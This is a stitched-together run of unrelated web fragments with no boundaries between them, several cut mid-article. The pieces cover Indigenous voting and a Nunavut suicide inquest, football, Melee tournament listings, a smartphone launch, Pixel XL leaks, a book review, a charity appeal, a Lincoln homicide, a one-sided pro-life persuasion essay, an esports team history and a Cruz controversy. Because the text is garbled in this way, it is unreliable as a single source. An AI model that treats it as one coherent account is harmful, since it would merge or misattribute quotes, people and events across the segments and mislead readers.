Sara Mainville, chief of the Couchiching First Nation, near Rainy Lake, Ont., is among them: “If it’s the only arrow in your bonnet, use it, because voting is the only way this is going to change,” the 46-year-old lawyer tells potential voters. “The status quo is so dangerous. I don’t want my 10-year-old daughter to grow up feeling unsafe on city streets the way I did. This has to change.”
In nearby Kenora, Tania Cameron, the riding’s former NDP candidate and a key Idle No More organizer, has devoted her every free minute to helping Indigenous voters navigate the new restrictions brought in with the government’s Fair Elections Act. Cameron considers the new rules a “voter suppression tactic,” akin to “what used to be done in Mississippi.”
Indeed, many fear the new identification requirements, which insist on addresses, will disproportionately disqualify people on crowded reserves. The new rules also end the practice of vouching, which allowed chiefs and council to affirm the identify of someone lacking complete ID, which many on-reserve voters do.
“The relationship between the current government and Indigenous people is unnecessarily adversarial,” says AFN Chief Perry Bellegarde in an interview. “They spent [$110] million this year fighting court battles over Aboriginal rights and title. If we continue this approach, we’ll continue to lose generations of people; we’ll continue to lose languages and potential and opportunity.
“Party leaders need to pay attention to our issues and priorities; they are Canada’s issues and priorities,” Bellegarde tells Maclean’s. “If we win, Canada as a country will win.”
In Nunavut this week, the coroner agreed with the inquest jury that suicide should be declared a public health emergency. The inquest had heard from families of the 45 people who killed themselves in the territory in 2013, a torrent of tragedy that sparked the inquest. Rex Uttak, who turned 11 just weeks before he hanged himself on Aug. 10, 2013, was the youngest.
He was a happy boy who loved to laugh; before he died, his family had been living with as many as 24 relatives in his grandmother Bernadette’s four-bedroom home. They’d been waitlisted for social housing.
Rex was not the first in his family to succumb to suicide: his older brother Bernie had killed himself, as had an aunt. And he was grieving the murder of his older sister. “I’m lifeless,” his grandmother Bernadette testified in Inuktitut. “You think: ‘What did I do wrong?’ ”
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Tony Pulis could not be any more excited about the future of classy young West Bromwich Albion midfielder Sam Field.
Pulis reckons the 18-year-old is a talented as any player that age he has encountered across his 25-year managerial career.
"Sam Field has been at the club since he was seven years of age and I think he’s going to be a fantastic player for the club," told BBC WM's Football Phone-in last night.
"He's only 18 and still growing, but about 6ft 1ins / 2ins.
"Technically, he's as good and as gifted as any footballer I've seen at that age."
Field, a cultured, ball-playing central midfielder, broke into the first team last season, making his debut in the final game against Liverpool.
The England Under 19 international started three successive games earlier this season, and was arguably Albion's standout player in each.
An injury hampered his progress with the senior squad and it wasn't until a cameo at Tottenham last month that Field returned to the first team fold.
Pulis hopes to give Field and other youngsters like Jonathan Leko, Kane Wilson and Rekeem Harper a chance to shine between now and the end of the season.
"We've got a wonderful academy which has produced some real talent," Pulis added.
"We've got to find a way of playing these kids and give them the opportunity to come through.
"Eventually, the ideal situation is we get three or four of these local lads in the team.
Get On My Level 2016 — 5/20 – 5/22
Region: Toronto, Ontario (EDT)
Stream: EvenMatchupGaming and AfinityPlay
Featuring: Armada, Hungrybox, Leffen, Mang0, Mew2King, Westballz, SFAT, Shroomed, Lucky, Ice, MacD, Druggedfox. HugS, Duck, Wizzrobe, Nintendude, The Moon, Swedish Delight, Professor Pro, Mikehaze, DJ Nintendo, Kage the Warrior, Prince Abu, Kjh, Ryan Ford, n0ne, and more!
» smash.gg: Brackets, Attendees | Schedule | Facebook | GOML FAQ | Trailer | Event Preview by PikaPal
Rubicon 10 — 5/21
Region: Chicago, Illinois (CDT)
Stream: MeleeEveryday
Featuring: S2J, Laudandus, Kels, Darkatma, Dart, ORLY, Sago, Vro, Lanceinthepants, Ginger
» smash.gg: Attendees | Brackets | Facebook | Trailer
CEO Prologue — 5/21 – 5/22
Region: Orlando, Florida (EDT)
Stream: PolarityGG
Featuring: Plup, Colbol, Pengie, Harriet, and more!
» smash.gg: Attendees | Facebook
Friday – 5/20
Man On A Ledge 107
Region: PGH (PA, EDT)
Stream: PGHNEOHSmash
» Challonge | Schedule | Facebook | Smashboards | Website | NEOH/PGH Melee
Aurora Smash Heroes @ WIT
Region: Midwest (IL, CDT)
Stream: AuroraSmash
Featuring: S2J, Laudandus, Kels, Vro, ORLY, Sveet, Hot, Hindawg, Azzu, and more!
» Challonge | Facebook Group
Hyperbolic Time Chamber #5
Region: Central Florida (EDT)
Stream: GdLkGaming
» Challonge | Facebook: Event, Group
The Break Smash Biweekly
Region: Tri-State (NJ, EDT)
Stream: 8wayrun
» Challonge
Lancaster Open Smash Tournament (LOST)
Region: New England (MA, EDT)
Stream: TedGreene
» Challonge | Facebook
Four Stock Friday @ SJSU #14
Region: NorCal (PDT)
Stream: SJSUmelee
» Challonge | Facebook
Saturday – 5/21
UCSD Super TriWeekly #3
Region: SoCal (PDT)
Stream: SDMeleeTV
Featuring: Captain Faceroll, Squid, PTK, and more.
» Challonge | Facebook
HYES! 2
Region: SoCal
Stream: UplandMelee
Featuring Fly Amanita, Stomach Flu, Army, Daddy, Sergio, and more.
Challonge | Facebook
Press L+R+A+Start 21
Region: Las Vegas (PDT)
Stream: PressStartLV
Featuring: SK92, Trahh, Jpegimage, Saiko, Bacon, Dansdaman, Prinny, Swordsaint, and more.
» smash.gg: Attendees | Facebook
Bluegrass Smash
Region: Kentucky (EDT)
Stream: xanthus1
Featuring: Drephen, Hanky Panky, Darkshad, Amida, and more!
» smash.gg: Attendees | Facebook
OHSNAP! 8
Region: Oklahoma (CDT)
Stream: stockcancelgaming
» smash.gg: Brackets, Attendees | Facebook
Flashback Tournament 25
Region: South (GA, EDT)
Stream: ClashKingStudios
» Challonge | Facebook
LUST 11
Region: Midwest (LA, CDT)
Stream: LSUSmash
Challonge | Facebook
Smash at The Dojo #14
Region: Texas (CDT)
Stream: SmashUnited
» Facebook
Sunday- 5/22
Super SmashNest v7
Region: PNW (OR, PDT)
Stream: CACAWGaming
» Facebook
New Jersey Arcadian
Region: Tri-State (NJ, EDT)
Stream: 8wayrun
» smash.gg: Attendees | Brackets | Facebook
Desync at Frame 0 #13
Region: Much of the Southern US (Netplay)
Stream: QueueSS
Details/Bracket
Last Week’s Results
SSS (SoCal)
1. Westballz
2. HugS
3. Flim Amanana
4. Captain Faceroll (Happy late birthday)
5. Kira / Jace
7. PsychoMidget / mixx
Bracket , VODs: Twitch Youtube (not up yet)1. Westballz2. HugS3. Flim Amanana4. Captain Faceroll (Happy late birthday)5. Kira / Jace7. PsychoMidget / mixx
Mayhem (SoCal) Youtube
1. MacD
2. Westballz
3. CDK
4. Captain Faceroll (fourth place master)
5. Reno / Jace
7. HugS / ARMY
Bracket , VODs: Twitch 1. MacD2. Westballz3. CDK4. Captain Faceroll (fourth place master)5. Reno / Jace7. HugS / ARMY
To watch multiple streams at once in the most effective way, go to multistre.am or VGStreams.com
For a list of weekly weekday streams, check this /r/ssbm post. Eventually we’ll make a more organized list to which people can add.
Sam “Dingo was his name-o” Greene can be found on Twitter @SSBMDingus.
flwns can be reached on Twitter @flwns
Also appearing at the Thanksgiving Family Forum in Des Moines, Iowa were Newt Gingrich, Rick Santorum, Herman Cain, Rick Perry and Michele Bachmann. Former Massachusetts Governor Mitt Romney was invited but did not attend. Also not in attendance was former Utah Governor Jon Huntsman, who has not placed an emphasis on Iowa.
The candidates gathered around a dinner table festooned with pumpkins as moderator Frank Luntz kept the conversation flowing for two hours as nearly 3,000 religious and socially conservative activists listened in.
Paul, who has previously said he's personally opposed to gay people marrying, said that the role of government is to preserve liberty, not mold people or society.
“Our values should come from our family and from our church. But once we say, 'Well the liberals are doing this because they want this economic interference and we're going to have perfect balance and fairness.' They over do it. But you can do it on both sides. You can say, 'Well we're going to make people better by having more laws.'”
“The law can't reflect the morality of the people. If you do that, you have embarked on something where you sacrifice liberty,” he added.
Chris Bevington, 41, was a director of global partnerships at the music streaming service Spotify, which has an office in central Stockholm.
“We are all devastated by the untimely and tragic death of our talented, compassionate and caring son Chris,” John Bevington said in a statement on Sunday.
“[He was ] a wonderful husband, son, father, brother and close friend to many. The family requests absolute privacy at this incredibly difficult time to mourn his passing in peace.”
Eamon Zayed hadn’t a clue he would be El Hadji Diouf’s new strike partner when he was collecting his dole just a few weeks ago.
But the Libyan international is now in pre-season mode with the ex-Liverpool attacker ahead of the Malaysian season kicking off on January 16.
Zayed, who had a tough spell at Shamrock Rovers before a relatively successful loan stint at Sligo Rovers in the second half of this year, has joined Sabah.
George O’Callaghan, the former Cork City star, is manager and he lured Zayed and Diouf as part of a major restructuring job.
After winding down his playing career in Brunei three years ago, O’Callaghan then started working as an agent in the Far East.
But this is his first venture into management and Zayed admits he was a shade wary about making the leap.
(Image: Clive Mason/Getty Images)
The Dubliner had spent a week in Brunei on trial at the end of the 2011 season and bumped into O’Callaghan, with the pair keeping in touch on and off since then.
“I wasn’t aware he had taken over a team and I wasn’t sure whether to believe him when he got in touch,” Zayed told Mirror Sport.
“But he sent me links to articles in the press over there to prove it was true and said he wanted a striker and said he believed in me as a player.
“The last thing I had in my head was to be flying over to Malaysia to sign for a new team – I must be the most open-minded player in the league!”
The 31-year-old had offers to stay in the League of Ireland for 2015.
But Zayed said: “Being a professional footballer in Ireland is very difficult.
“You’re out of contract at the end of the season and while you might get something sorted straight away, clubs don’t want to pay you until mid-January.
“Ronan Finn is one of the best players in the league but he took work in the post office during this off-season.
(Image: ©INPHO/Ryan Byrne)
“When I was at Derry, Barry Molloy worked in Tesco and other players also did bits and bobs here and there to get by – you had to.”
Zayed added: “When this season finished, I got my P45 from Shamrock Rovers and signed on the social welfare.
“When you go down there, some people recognise you. They’d ask ‘How are things at Rovers?’ but I’d just say ‘Well, not great clearly, I’m down here’.
“I don’t know if embarrassing is the word but when you play football, you like to think there’s a little bit of prestige.
“You go from playing in front of a few thousand people, people there to support you, and little kids who look up to you, to signing on or getting part-time work.
“So that absolutely knocked me down to reality, and mentally it can be tough going.”
Little wonder then that the lure of 52-week contracts in Malaysia – not to mention the curious appeal of teaming up with Diouf – helped Zayed make up his mind.
Of the Senegalese striker, Zayed said: “You have a perception of people when you read some of the mad stuff about them – you think ‘Jesus, is this guy a header?’.
(Also see: Freedom 251 Launch: Your 5-Point Cheat Sheet to the Most Affordable Smartphone)
The Freedom 251, which Ringing Bells says has been made 'with immense support' from the Indian government, complies with the government's Make in India program. With such a price point, the little know smartphone maker from Noida is aiming to make the smartphone accessible to everyone.
(Also see: Freedom 251 Smartphone: More Questions Than Answers)
The Freedom 251 understandably sports entry-level hardware specifications. It sports a 4-inch IPS display (resolution unspecified). It is powered by a quad-core SoC from an unspecified brand clocked at 1.3GHz, coupled with 1GB of RAM. The Freedom 251 comes with 8GB of inbuilt storage, which can be expanded via microSD card (up to 32GB).
(Also see: Freedom 251 full specifications)
Other specifications of the Freedom 251 include a 3.2-megapixel rear camera, a 0.3-megapixel front-facing camera, 3G support, Wi-Fi connectivity, and a 1450mAh battery. The Freedom 251 smartphone ships with a number of apps pre-installed on it. Some of which include Women Safety, Swachh Bharat, Fisherman, Farmer, Medical, Google Play, WhatsApp, Facebook, and YouTube. Ringing Bells assures that it has more than 650 service centres across different parts of India, and is giving one-year warranty on the smartphone. If you are wondering how to book the Freedom 251, it will be available for purchase via a website later this week, though it may be June before all shipments are completed.
(Also see: Freedom 251 in Pictures)
Thousands of users may not find the Freedom 251 smartphone interesting - after all, it doesn't feature impressive specifications, the main USP of most Android smartphones. However, the specifications provided at the staggeringly low price point of Rs. 251 are certainly remarkable.
A low-cost smartphone such as the Freedom 251 has the potential to make a big impact in the country. According to estimates from last year, only 14 percent of the population in the country has access to a smartphone.
Officers broke up a protest against police brutality over the weekend in Phoenix after demonstrators stood in a downtown street.
The march, which was organized on Facebook by Wave of Action PHX, began peacefully Saturday evening.
But police attempted to block about 40 to 50 demonstrators at an intersection, and officers tackled and arrested several protesters when they tried to cross illegally and stood in the intersection.
Some of the demonstrators threw flagpoles they were carrying at officers, reported the Arizona Republic.
A police officer dressed in tactical gear then fired pepper balls from a paintball gun at the crowd, reported The State Press.
A spokesman for Phoenix police said the demonstrators have free speech rights, but he said they must also obey the law.
“When (the protest) becomes disruptive, we have a duty to step in and protect everyone’s rights,” said Sgt. Jonathan Howard, of Phoenix police.
The six demonstrators, including a juvenile, who were arrested were charged with obstructing a public thoroughfare and failing to obey a police officer.
The protesters who threw flags at officers fled and have not been identified, police said.
EIS Is the Real Deal Google talked a big game when it came to the Pixel's improved camera, citing their DxOMark score of 89, the highest of any smartphone ever tested (though the iPhone 7 Plus's dual-lens camera hasn't been tested yet). But lost in the barrage of Pixel headlines was a much-improved Electronic Image Stabilization (EIS) system briefly mentioned at the Pixel's unveiling. The Nexus 6P uses EIS as well, but a comparison documented by Doe, and subsequently removed from YouTube, showed how the Pixel is simply miles ahead of the Nexus 6P when it comes to video stabilization. We were able to grab the videos before they were taken down, so here's a side-by-side edit: Considering that the Nexus 6P's EIS system beat out the Galaxy S7's Optical Image Stabilization (OIS) in this test from months ago, I'm starting to think that the Pixel's lack of OIS is not going to be an issue at all. But hey, that's just a quick test in a dark hallway. How does the Pixel's EIS system fare in landscape mode with good lighting to show off any flaws? To answer that question, Doe (literally) went for a run while recording video with the Pixel XL, and the results in the video (also removed) were just as amazing, it looked like he was floating across the parking lot. UPDATE: Here's a mirror of the original daytime EIS test. Video quality is reduced from ripping the video, so don't judge the Pixel XL based purely on frame rate or resolution:
Camera Comparison (Still Photos) If the above videos are any indication, the Pixel's high DxOMark score is well-deserved—but how do the still photos look? Doe delivered here, too: He shared with Gadget Hacks the following night shots taken with the Nexus 6P and Pixel XL, respectively. (1) Nexus 6P, (2) Pixel XL. Images via Doe If you don't see much difference, go ahead and click the images to open them in higher resolution. It's very clear that the Pixel XL's HDR+ mode makes low-light shots a lot less grainy than other smartphone cameras.
Google Assistant in Action While Doe was experimenting, the Pixel's new Google Assistant feature went live. This gave him a chance to show off the new AI-powered, Pixel-exclusive feature, and as we saw in a (now removed) video, it's very fast to respond with accurate and intuitive information. As a side note, the folks at XDA have since discovered that Google Assistant can be activated right now on almost any rooted device running Android Nougat. If you'd like to see how, just head to the following link: Don't Miss: How to Enable the Pixel's New Google Assistant Feature on Other Android Devices
Benchmarks & Battery Performance Alright, so it's time to address the big question: How's the Pixel's battery life? Doe charged up his Pixel XL to 100% this morning to do some real testing of its screen-on time (SoT), and the results so far are quite promising: At this exact minute SOT is 4:03, and my battery is 53% — "Doe" Are you KIDDING me?! That projects out to a full eight or more hours of screen-on time, which would make the Pixel XL an instant contender for best smartphone battery life. SoT is one of the most useful real-world battery measurements, as it depicts exactly how long you'll be able to actively use your smartphone on a single charge. To put that 8-hour projection into perspective, I've always considered my Nexus 6P to have solid battery life, but it can only manage five hours of SoT on a good day—and that's without all of the benchmarks and camera tests that Doe had been running on the Pixel XL. Speaking of benchmarks, Doe ran an AnTuTu test on the Pixel XL with some impressive results. For comparison's sake, I ran the same test on my Nexus 6P, and the Pixel XL's score was nearly double my results in almost every category: (1) Nexus 6P AnTuTu benchmark scores. (2) Pixel XL AnTuTu benchmark scores. Image via Doe I bought two Pixel XLs on launch day, sight unseen. Since then, I've been a bit nervous about my purchase, not really sure if Google's new hardware will live up to the hype. But now, just going by these comparisons, I'm fully convinced that I made the right choice. What about you? Have these comparisons convinced you to take the plunge and grab a new Pixel? Let us know in the comment section below. Follow Gadget Hacks on Facebook, Twitter, Google+, and YouTube
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In this fantasy world, there are no horses, and little else in the way of domesticated animals of burden other than oxen. So the human inhabitants take to domesticating dragons instead. That sounds like a pretty fantastic concept in itself unless of course, you’re the dragon.
And that’s the point of view that Ms. Dickson’s novel takes. Reader’s view of this world is from the eyes of a rare black dragon who goes by many names throughout the story, but I’ll stick with Stormfall because that is the first name given to him.
The story depicts dragons as intelligent and cunning creatures, but like any other animal, they are unable to communicate through spoken language. So we are left with Stormfall’s intricate thoughts as he encounters birth, brief freedom, and then a young life of captivity as he goes from fishing dragon to farm dragon, bier dragon, pit fighter dragon, and finally as a Flight dragon, serving the Empire in aerial battle.
The key to the story is Stormfall himself, of course. As the narrator and main character, we spend the entire novel with him and experience everything from his perspective. Fortunately, he is worth journeying with. Fearless yet vain, proud but caring, he is both flawed and likable, a conflicted and sometimes contradictory narrator. Many times he affirms his cleverness and strength, yet is easily snared and subjected to domestication despite numerous opportunities to escape.
It helps that Ms. Dickson has a background in zoology, allowing her firsthand experience to allow an insight into the characteristics of domesticated and captive animals. That understanding allows her to craft a tale of a fierce creature that at the same time develops a bond with humans despite instances of captivity and cruel mistreatment. The tale of Stormfall is an engaging one, proving to be a page turner that I finished in just a few days. Highly recommended, and another triumph for H. Leighton Dickson.
Any interested can purchase the novel here.
When Bard Constantine isn’t obsessing over books and film, he’s pounding out tales of gritty futures and epic fantasy. Find out more at bardwritesbooks.com
The next Milestone is to continue to fill this building with amazing tools and people. Although many tools have been donated, there are some very important workstations and tools that we dont have. We still need your help building this dream into a world class opportunity for the next generation. More donations mean a deeper and wider impact. Please consider continued support. You Rock!
Who we are:
“The Urban Farming Guys” are a passionate band of pioneers working and living fully immersed in one of the most dangerous inner city zip-codes in the U.S. 64127 in the urban core of Kansas City. Beginning with no money, & no buildings , we began to pour our lives into hundreds of youth within walking distance of our inner-city homes, and something great began to emerge. Our organization has been informally working in the inner city of Kansas City for over eight years but we were officially established as a 501c3 in 2012. Our home base is in an area of the city that is plagued with hopelessness and more than half of students not graduating high school in the first four years. Many children with only one parent and a serious lack of mentors and role models within reach. We are at a very catalytic moment in our history. In the last few years, our organization's efforts have come into full bloom. Many people within walking distance of our home base have joined the cause and are now deeply involved in our daily operations to help others. Young people from the neighborhood are receiving 40 hours a week apprenticeship training as a part of our Internship to Ownership Program! Individuals who have become notorious for crime and destruction are beginning to turn their lives around. Some of the best folks from our team have come right from the block, talent & beauty growing right out of the ground around us. We serve the poor of the earth and the next generation by raising up indigenous leaders. Our mission is to help establish sustainable communities in the most difficult places on earth.
Today something is brewing that will multiply our impact ten times over, taking our work to the next level and to other cities. Something that will reach hundreds of kids in our neighborhood. It is a huge space, a 25,000 square ft building, owned debt free on a main street on our block. In this space we will scholorship many kids from within Lykins neighborhood to grow in their skills and talents and even entrepreneurship. It is a place where community classes will be going on every night of the week. Utilizing our strengths of entrepreneurship and an army of several hundred volunteers throughout the year, we are launching a “MakerSpace” also described as a community-innovation-DIY space. Recently purchased we are renovating this place into a place where the people can come to create, only limited by their own imagination. This space could include the following: robotics, art, woodworking, 3d printing, computer lab, welding, sewing, recording studio, etc. Imagine an incubator that spawns new entrepreneurs and businesses by fostering mentoring relationships with young people in our community. True transformation comes from within and works its way out; we’ve seen this model work and it is the antithesis to gentrification by going to places too dangerous for investors to follow, too far beyond the fringes, while empowering people from within the community to become catalytic within their own community and have the greatest possible impact. One of the greatest aspects of this plan is that it will be financially self-sufficient and will be maintained and grown from its own success. Currently, we own the building debt free and future funding for other projects will come from a subscription model (like a gym membership). We anticipate a few hundred people willing to pay a monthly fee to gain access to the space and the tools this environment will offer, making it possible to scholarship kids from the neighborhood.
People are dropping off computers, equipment and tools every day.
We believe this place will become a destination location, a spawning ground for innovation, a creative laboratory within reach of the people. All of the right ingredients and inspiration in one accessible place. Many many bright people will come to pour their lives into the youth here in one of the most dangerous neighborhoods in the country, spawning hundreds of programs in the future.
The projects that will result from your funding will make a difference in the lives thousands of people across the planet through the multiplication of our videos, but most importantly it will intercept the path of our urban youth for good and set forth a strong model for urban transformation from the inside out: The project will take 6-9 months for launch time and $200,000 to fully launch out in a sustainable way. A project budget has been prepared and the following concrete results are expected:
-A non-profit financially sustainable “makerspace” launched within 9 months and have over 100 paid members in the first year.
-200 youth scholarshipped and engaged with mentors in the makerspace
-30-50 adult mentors engaged with 2-5 youth within the makerspace on a daily to weekly basis.
-An inner city robotics team formed within 2-4 years.
-10-20 legitimate inner city businesses spawned out of the makerspace within 3 years. 100’s over time
-An informal skilled trade school that will likely become formal over the course of the next 3 years.
-Financial Strength from within to begin to launch the model into the next broken neighborhood and city.
-Hundreds of low tech DIY solutions for third world countries prototyped, tested and improved upon in a open source online library of downloadable plans and systems such as the fish farm we built in india, to the biogas system we built to provide cooking fuel for 4 families.
-And Lastly a source of hope for the next generation.
We are experiencing a momentum here that is steady and earthshaking with a “never-say-die” attitude that separates our team of urban pioneers from other organizations with more-adequate funding. We invite you to research our organization and mission via our web site or over a personal visit to our campus. We will be glad to submit a full proposal with additional information for your further review.
Web: www.theurbanfarmingguys.com.
Also see our 2013 year in review here: http://bit.ly/PrzoXg
Wrapping up:
Ultimately, the building is a tangible injection of hope and opportunity into an uninspired community, plagued by obscene dropout rates and criminal activity. The opportunities that will be provided through the renovation of this space will drive education, entrepreneurialism, and economic sustainability. We appreciate the opportunity to work together.
Jason Fields
President
The Urban Farming Guys 501c3
1121 Myrtle Ave
Kansas City, MO 64127
The flotilla of student paddlers is not expected back at the cove when the new ferry route launches on Tuesday morning, but their wobbly presence there on Saturday highlighted the perils that come with the growing embrace of the city’s waterways. As New Yorkers make greater use of the harbor and the rivers that flow into it, for both transit and recreation, the potential for conflict is rising.
The city’s growing fleet of ferries has to share the water with tugboats, barges, cruise ships, yachts, kayaks, canoes and even stand-up paddleboarders. And so far, four months after Mayor Bill de Blasio launched the service, known as NYC Ferry, the ferries have not collided with any of those other craft, said Cameron Clark, who oversees the service for its operator, Hornblower.
Hanna's cousin, Jeni Bohlmeyer, told 10/11 News donations for Bob's memorial can made at any Union Bank location. The name of the account is "memorial account for Robert Hanna".
Out of town donations can be made via check by mail. Address: Union Bank 3643 S. 48th PO Box 82535, Lincoln, NE 68501-2535. The fund will go towards funeral expenses and for a donation in Bob's name to the Cat House in Lincoln, a no-kill shelter.
She also spoke to 10/11 News on Friday.
"It has been a roller coaster ride for all of us, shock," Bohlmeyer said. "Tremendous sadness and anger."
She also provided some insight into the man who was shot during a robbery gone wrong.
"He was a son, a brother, an uncle, a nephew, a cousin, and a great friend to so many people," Bohlmeyer said. "It's a tragic loss. We can't believe why somebody could do this. Go in there just murder him."
On Thursday morning, police received calls from two witnesses around 1:30 a.m. Thursday about a robbery in progress.
Police are still searching for the suspect. Police Chief Jeff Bliemeister said several people walked into the shop prior to the shooting. LPD wants anyone who was at the store before the shooting to come forward to speak with investigators.
Bohlmeyer has confidence that LPD will find the man responsible.
"We have faith in Lincoln Police Department that they will capture him. We know that's not going to be the end of the story though. There will be a trial and sentencing," she said. "We don't just get to grieve now, we're going to grieve over and over again."
The suspect is described as a male, medium build, he was last seen wearing a black t-shirt, camouflage pants and a black glove on his right hand. He had a dark colored handgun and was seen headed south from the store.
According to police, one of the witnesses went inside the Kwik Shop and found the clerk. The victim, who has not been identified, was pronounced dead at the scene.
Police are still searching for the suspect, who they believe is armed with a handgun. Officers spent much of Thursday morning canvassing the area -- including officers with assault rifles drawn. Police are also using a canine unit in their search efforts.
Police did tell 10/11 News the clerk was shot in the head by the suspect and the clerk was the only one at the store when the shooting happened.
An autopsy has been ordered and the identity of the deceased is not being released pending notification of family members.
The preliminary investigation revealed multiple patrons were in and around the convenience store in the hour preceding the shooting.
Anyone near the store after midnight on Thursday, or have information on the identity of the person responsible, are asked to call the Lincoln Police Department at 402-441-6000 or provide information anonymously to Lincoln/Lancaster County Crime Stoppers at 402-475-3600.
Crime Stoppers has offered a $1000 reward for information leading to an arrest on this case.
As the news spread Thursday, Kwik Shop customers expressed their sadness about the homicide.
Larry Russell, lives nearby, he was told 1011 News he was at the Kwik Shop on Wednesday night.
Russell remembers seeing the overnight employee, an older man, when he was in the store. He said, "He was here working at that time. He was an older gentlemen, he was nice, he never hurt anyone, he never said anything bad, I've never even heard him raise his voice."
On Thursday afternoon, as investigators continued canvassing the area, the Kwik Shop entrances were blocked off. Russel told 1011 News, the overnight employees car remain parked in the parking lot.
Russell said, "His car is still there, usually by now, he's gone. Usually he works the overnight shift, by the time it is 10 or 11 in the morning, he is gone. I got a feeling that he was the one that was hurt."
With recent crime in the area, including the homicide of a 20-year-old woman on June 26 and an officer involved shooting the same day, Russell finds it discouraging.
Russell said, "For someone to just come in and do that to someone, who was hurting nobody, he was just doing his job, that's pathetic, I can't stand for stuff like that."
Judy Strohmer has lived near 14th and Adams Street for 28 years. "It is just heartbreaking. They are so senseless the deaths and stuff, if they wanted the money, take the money, but let the people live."
She heard the gunshots from her home the day of the officer involved shooting. Strohmyer said, "It's sad, I don't know what the neighborhood is coming to. It makes you not want to go outside."
Few controversial issues are more contentious than the abortion issue. And with all the accusations flying amongst politicians, television shows, news outlets and other forms of media, it can be difficult to sort through all the emotional rhetoric to decide which position is the correct one.
So I’d like to address my fellow pro-life advocates. If you’re like me, you understand how important it is to share the pro-life message effectively and persuasively but have difficulty adequately expressing your views. The conversation can go off into many different directions, if we let it, due to the psychological and emotional complexity of the issue. But the moral equation is really quite simple: if it is wrong to intentionally kill innocent human beings, and the unborn are innocent human beings, then it is wrong to intentionally kill the unborn.
Greg Koukl (in his booklet Precious Unborn Human Persons), gives us an illustration: suppose your five year old child walked up to you with your back turned and asks, “can I kill this?” If your back is turned, you’re not going to give an answer until you find out what your child is holding. Whether we can kill something depends on what that thing is.
So the central question in the abortion debate is: what is the unborn? If the unborn are not valuable human beings, then there is nothing morally problematic in taking their lives to make things easier for the parents-to-be. But if the unborn are valuable human beings, then we can’t justify taking their lives for any reason that wouldn’t justify the death of someone outside the womb. The most important thing in any conversation on abortion is to keep the conversation focused on what the unborn is. This helps to clarify the issue and prevent you from following irrelevant red herrings while trying to determine whether or not abortion is moral or should be legal.
The unborn are one of us from fertilization. This is supported by the science of embryology and by philosophy. Embryologists consistently agree that the unborn are human beings from fertilization. The stages of zygote, embryo, and fetus are just early stages in a human being’s development, just like newborn, infant, toddler, and adolescent are. There is a continuity of human existence from fertilization to natural death.
Often pro-choice people will rely on difficult situations in order to justify abortion. There are certainly difficult situations, like poverty, fetal disability, etc. These should be approached with care. We care about all human beings, the unborn child and his/her mother.
But hardship does not justify murder. To see why we can’t justify abortion due to difficult situations, use a technique that Scott Klusendorf and Greg Koukl have dubbed ‘Trot Out the Toddler.’ Apply that situation to a toddler and ask the person if we would allow a parent to kill their toddler for that same situation. For example, would we allow a woman to kill her toddler so that she can feed her older children, or because parents have a right to privacy? Of course we wouldn’t. So if the unborn child is a valuable human being, then we can’t justify killing the child for this same reason. Trotting Out the Toddler will help keep the conversation focused on that central question.
And by the same token, pro-life people often go off on irrelevant rabbit trails. We shouldn’t let a pro-choice person take us there, and we should respect our intellectual opponents enough not to take them down any. It is true that abortion harms women. It is most likely true that abortion raises a woman’s risk for breast cancer. It is true that you’re killing a potential Beethoven or cancer-curer. But absolutely none of these reasons affects the moral equation. It’s equally true that you may be killing a potential mass murderer or rapist, and all surgeries carry an element of risk. As my friend Josh Brahm says, there’s a difference between what’s wrong with abortion and why abortion is wrong. These can be important conversations to have, but the rightness or wrongness of abortion rests on what the unborn is. That should be the focal point of your conversation.
If you keep the technique of Trotting Out the Toddler in mind, as well as the need to keep the conversation focused on the central question of what the unborn is, you’ll find that the moral question is really quite simple. Your conversations will stay focused and any apparent complexity will have been greatly simplified.
For as Greg Koukl has told us, if the unborn are not valuable human beings, then no justification for elective abortion is necessary. But if the unborn are valuable human beings, then no justification for abortion is adequate.
Like their opponents this weekend, the Ducks didn’t start out as a franchise under that name; they were in fact known as the Scarlett Wings in Season 1. Due to roster issues throughout the season the Scarlett Wings
unfortunately never managed to sustain any playoff push.
Season 2 is where the Ducks name was born after a complete revamp of the Scarlett Wings franchise. Leading the first generation of the “Quack Pack” were Cailee and Austin who proved to be a dominant force. With the format of the league moving to bi-weekly tournaments for season 2, the Ducks dominated the majority of them winning 5 out of the 6 tournaments and cementing their place in the playoffs. They were odds on favourites to claim the title and at 3-0 up in the final they only need to clinch one more series against the Dodgers to seal it. What happened next has been well documented and become a historic moment in the MLD but the Ducks someone threw away their opportunity and were reverse swept. Devastation for the Ducks and it subsequently led to Cailee and Austin moving onto pastures new, although they did grace us with their presence in this season's Alumni Series, getting revenge on the Dodgers and showing how much their game has progressed since the MLD.
Season 3 saw a new generation Ducks take flight as the trio of Dameenie, North and Escape aimed to put the franchises’ regrets over last season behind them. The Ducks started off well until the mid-point in the season when the Ducks had to let Escape go for being over-ranked. After that point the Ducks season started to go downhill and unfortunate events in week 8 saw their season all but finished their season.
It has been a turbulent history for the Ducks with many highs and lows but season 4 has seen a great level of consistency, void of much drama. The trio of Atomic, Mateo and Kend0 have adapted well in their debut season in the MLD and have struck up what many see as a formidable chemistry, arguably the best in the league. They will hope to avenge the pain of their season 2 brethren by taking on and defeating the Bulls this Sunday evening, no easy task but doing so would finally bring some silverware to this notorious franchise. At 9pm EST we will find out if this generations’ “Quack Pack” has got what it takes to bring home the bread.
The Ducks History in images
Season 1: as mentioned previously the Ducks were actually known as Scarlett Wings in the inaugural MLD season. They were part of the Blue Conference, which was made up of the Flames and the Rocket Hawks (who became the Hawks in season 2). The scorecard below summarises the franchises 1st season which was dogged by roster changes and NCPs.
Season 2: With season 2 the Scarlett Wings were rebranded as the Ducks, and the league as whole saw a graphical overhaul with new teams being added. The Ducks logo had a relatively clean and simple look with the symbolic yellow bill being the standout feature.
Season 3: With team looks being regularly updated and improved, the Ducks logo underwent a few transitions during the season. The simplistic design of the previous season was replaced with a more menacing logo and the colours of the team changed with it. Later in the season the logo morphed yet again and incorporated black into the logo as seen the week 6 scorecard (below) against the Pandas, a series that has gone down in MLD history for arguably all the wrong reasons.
Season 4: The Ducks logo underwent a complete revamp for season 4 harking back to the season 2 look but this time with added wings and those wings seem to have helped this season Ducks fly as they clinch in the Blue Conference in relatively comprehensive fashion. Can they go one step further and win the ultimate prize?
In an appearance on Fox News Channel’s “O’Reilly Factor,” Mr. Rivera, also a Fox News correspondent, said that Mr. Cruz’s explanation that he meant to attack a certain sort of liberalism didn’t hold water because “”He could have very easily said that.”
Mr. Rivera called the “New York values” comment an example of “stinking anti-Semitic implications” pandering to Iowa voters, the nominal audience for the debate during which Mr. Cruz made the remarks about real-estate tycoon Donald Trump.
